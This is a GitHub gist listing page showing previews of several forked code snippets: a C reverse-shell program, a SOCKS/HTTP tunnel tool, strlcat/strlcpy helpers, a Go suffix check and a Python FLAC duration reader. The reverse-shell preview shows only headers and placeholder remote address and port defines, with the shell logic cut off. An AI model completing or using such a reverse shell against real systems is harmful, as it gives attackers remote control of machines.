Skip to content

Instantly share code, notes, and snippets.

@kayabe
kayabe / reverse_shell.c
Created February 24, 2021 07:11 — forked from 0xabe-io/reverse_shell.c
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX
@kayabe
kayabe / connect.c
Created June 27, 2020 18:08 — forked from rurban/connect.c
/***********************************************************************
* connect.c -- Make socket connection using SOCKS4/5 and HTTP tunnel.
*
* Copyright (c) 2000-2006 Shun-ichi Goto
* Copyright (c) 2002, J. Grant (English Corrections)
* Copyright (c) 2010, Reini Urban (added realm to http_auth basic)
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
@kayabe
kayabe / strlcat_strlcpy.c
Created February 23, 2020 00:33 — forked from Fonger/strlcat_strlcpy.c
strlcat and strlcpy for linux
#ifndef HAVE_STRLCAT
/*
* '_cups_strlcat()' - Safely concatenate two strings.
*/
size_t /* O - Length of string */
strlcat(char *dst, /* O - Destination string */
const char *src, /* I - Source string */
size_t size) /* I - Size of destination string buffer */
{
@kayabe
kayabe / check-substring-ends-with.go
Created June 22, 2019 00:41 — forked from flaviocopes/check-substring-ends-with.go
Go: check if a string ends with a substring #golang
package main
import (
"strings"
)
func main() {
strings.HasSuffix("foobar", "bar") // true
}
@kayabe
kayabe / flacduration.py
Created August 28, 2018 07:49 — forked from lukasklein/flacduration.py
Returns the duration of a FLAC file in seconds
import struct
def bytes_to_int(bytes: list) -> int:
result = 0
for byte in bytes:
result = (result << 8) + byte
return result
def get_flac_duration(filename: str) -> float: